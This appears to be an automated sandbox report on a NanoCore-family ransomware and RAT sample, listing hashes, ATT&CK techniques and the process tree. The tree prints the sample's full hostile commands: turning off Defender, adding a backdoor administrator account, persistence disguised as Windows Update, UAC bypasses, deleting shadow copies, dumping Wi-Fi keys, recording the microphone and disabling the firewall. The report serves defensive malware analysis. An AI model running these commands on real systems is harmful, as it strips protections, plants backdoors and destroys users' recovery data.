nanocore | 9b245fe76af2d845e61023e176dd4c3fa50af4d0cfa7207d6f219394294e2e74

Analysis

max time kernel
46s
max time network
48s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/10/2026, 10:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
socolive-tv.lat_ransome.exe
Size 39KB
Sample261002-msqffaxenh
SHA256 9b245fe76af2d845e61023e176dd4c3fa50af4d0cfa7207d6f219394294e2e74
MD5 24efa1bf8659ac8354f02c9683a9c409
SHA1 ba5e82645a2f4342d82c90dea4cdd65c87e3c9c6
SHA512 5985b8409509965a4276d523fac205211ce3ad2951ce85536c5c9cbe85520be18e8fccc5d66aa9ebceb1f1b50410ed9ade719a04a4de03c87d2a9dd9310c9cdd
SSDEEP 768:P0nNoieo3T9qlbSFto7XmoIH92HDdEEusXqKhoayz1:coiXTrFtoTmoIH92jdf9Xqiol
TLSH
T19B03E84537FD8628E1BF6ABB4D3282008775F4979D13D70D0ED5849E1AB3B448AE8B93
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore impact keylogger persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Attributes

c2_port
22401

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables one or more Microsoft Defender components 1 TTPs 16 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4956	powershell.exe
3536	powershell.exe
4328	powershell.exe
5916	powershell.exe
8300	powershell.exe
2312	powershell.exe
5796	powershell.exe
5748	powershell.exe
9128	powershell.exe
4544	powershell.exe
4984	powershell.exe
7964	powershell.exe
9868	powershell.exe
9992	powershell.exe
3136	powershell.exe
7904	powershell.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
11944	netsh.exe
10672	netsh.exe
9412	netsh.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	socolive-tv.lat_ransome.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolive-tv.lat_ransome.exe"	socolive-tv.lat_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TCP Monitor = "C:\\Users\\Admin\\AppData\\Local\\tcpmon.exe"	socolive-tv.lat_ransome.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 19 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
7344	powershell.exe
9268	powershell.exe
12208	powershell.exe
4544	powershell.exe
4956	powershell.exe
4328	powershell.exe
5796	powershell.exe
7904	powershell.exe
9992	powershell.exe
2312	powershell.exe
4984	powershell.exe
5748	powershell.exe
8300	powershell.exe
9868	powershell.exe
3136	powershell.exe
3536	powershell.exe
5916	powershell.exe
7964	powershell.exe
9128	powershell.exe

Creates a new local user account 1 TTPs 33 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
7596	net.exe
8228	net1.exe
220	net1.exe
5868	net1.exe
6744	net.exe
7160	net1.exe
8204	net1.exe
6676	net1.exe
3324	net.exe
1904	net.exe
7032	net.exe
6772	net.exe
1960	net.exe
8988	net.exe
1288	net.exe
792	net1.exe
3564	net.exe
6976	net.exe
7540	net1.exe
8608	net.exe
12040	net.exe
8236	net1.exe
5004	net.exe
4380	net.exe
5764	net1.exe
6328	net.exe
7812	net.exe
924	net.exe
540	net1.exe
4968	net1.exe
2328	net.exe
8896	net.exe
5968	net1.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
9520	netsh.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
10540	vssadmin.exe
10508	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 17 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1368	schtasks.exe
2120	schtasks.exe
1960	schtasks.exe
5328	schtasks.exe
8748	schtasks.exe
8196	schtasks.exe
800	schtasks.exe
1408	schtasks.exe
7420	schtasks.exe
4280	schtasks.exe
5568	schtasks.exe
10016	schtasks.exe
2104	schtasks.exe
7392	schtasks.exe
7528	schtasks.exe
8740	schtasks.exe
4888	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\socolive-tv.lat_ransome.exe
"C:\Users\Admin\AppData\Local\Temp\socolive-tv.lat_ransome.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
PID:3280
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\socolive-tv.lat_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4280
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5cedd54c-339c-4351-8e9e-aeec72bcd848.inf
  2⤵
  PID:412
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:4712
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:2532
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:464
- - C:\Users\Admin\AppData\Local\Temp\socolive-tv.lat_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\socolive-tv.lat_ransome.exe"
    3⤵
    PID:1568
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\socolive-tv.lat_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4888
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\03caf0c8-dd93-4943-a840-f0510ae72e8c.inf
      4⤵
      PID:3876
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:4588
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:4388
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:3488
    - - C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        5⤵
        
        PID:2696
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1960
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a7abfb95-c579-401f-9e16-584522c1197a.inf
        6⤵
        
        PID:1252
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:4220
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:2868
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:2168
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        7⤵
        
        PID:5436
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5568
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4a88ea60-8fd2-462a-8b1b-24b4b0fb38b9.inf
        8⤵
        
        PID:5476
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:5720
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:5812
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:5776
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        9⤵
        
        PID:5696
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ccf4226f-da7a-4d0c-80f5-7f904c99e4b2.inf
        10⤵
        
        PID:5872
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:6328
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:7696
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:5132
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:9016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5796
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:6744
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:7160
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:7544
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4984
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:3564
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:5764
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:6048
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:5612
      - C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:7372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:2312
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:1288
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:540
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:5364
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:2984
  - - C:\Windows\SYSTEM32\notepad.exe
      "notepad.exe"
      4⤵
      PID:6348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639265382873281630.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9268
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:9520
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:10540
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:10988
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:10840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:3136
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:3324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:220
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:4804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:4380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639265382868594517.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7344
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:10496
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:10008
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:10672

C:\Users\Admin\AppData\Local\Temp\socolive-tv.lat_ransome.exe
C:\Users\Admin\AppData\Local\Temp\socolive-tv.lat_ransome.exe
1⤵
PID:4700
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\socolive-tv.lat_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1368
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\05e3d804-dea4-47dd-afff-15c430d57c77.inf
  2⤵
  PID:2632
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:1928
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:1764
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:4924
- - C:\Users\Admin\AppData\Local\tcpmon.exe
    "C:\Users\Admin\AppData\Local\tcpmon.exe"
    3⤵
    PID:2316
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:800
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\6771d6f2-e7f3-4e29-b09e-4511bdf5a49f.inf
      4⤵
      PID:1900
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:3032
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:3424
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:1468
    - - C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        5⤵
        
        PID:5444
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5328
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\93d3a0d4-c8a8-442f-90fe-78df5b1eefc5.inf
        6⤵
        
        PID:4580
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:5732
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:5956
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:5252
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        7⤵
        
        PID:3692
        
        C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:7032
        
        C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:7736
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:7212
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5748
      - C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:6772
      - C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:5688
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6492
      - C:\Windows\system32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:7272
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639265382972813097.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:4328
  - - C:\Windows\system32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:4380
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:5868
  - - C:\Windows\system32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:6004
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:6036
  - - C:\Windows\system32\notepad.exe
      "notepad.exe"
      4⤵
      PID:7292
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:10508
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:11124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:4956
- C:\Windows\system32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:5004
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4968
- C:\Windows\system32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:5464
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:4892
- C:\Windows\system32\notepad.exe
  "notepad.exe"
  2⤵
  PID:6340
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:10868
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:9228

C:\Users\Admin\AppData\Local\tcpmon.exe
C:\Users\Admin\AppData\Local\tcpmon.exe
1⤵
PID:596
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2120
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a409727f-cc03-4fb5-9617-40049acdcdd6.inf
  2⤵
  PID:1224
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:1124
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:2624
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:4204
- - C:\Users\Admin\AppData\Local\tcpmon.exe
    "C:\Users\Admin\AppData\Local\tcpmon.exe"
    3⤵
    PID:716
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2104
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e7b5148f-8ee3-40dc-b58f-faf79bdec2f9.inf
      4⤵
      PID:3408
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:332
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:640
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:1364
    - - C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        5⤵
        
        PID:5428
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1408
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\06760b3f-727e-42ba-a17b-76122f063c2a.inf
        6⤵
        
        PID:5856
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:5900
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:6052
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:2172
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        7⤵
        
        PID:6176
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:372
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:2572
        
        C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:1960
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:7540
        
        C:\Windows\system32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:8760
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5916
      - C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:6976
      - C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:6512
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:5612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:3536
  - - C:\Windows\system32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:2328
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:5968
  - - C:\Windows\system32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:6028
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:5860
  - - C:\Windows\system32\notepad.exe
      "notepad.exe"
      4⤵
      PID:7360
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:11632
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:11944
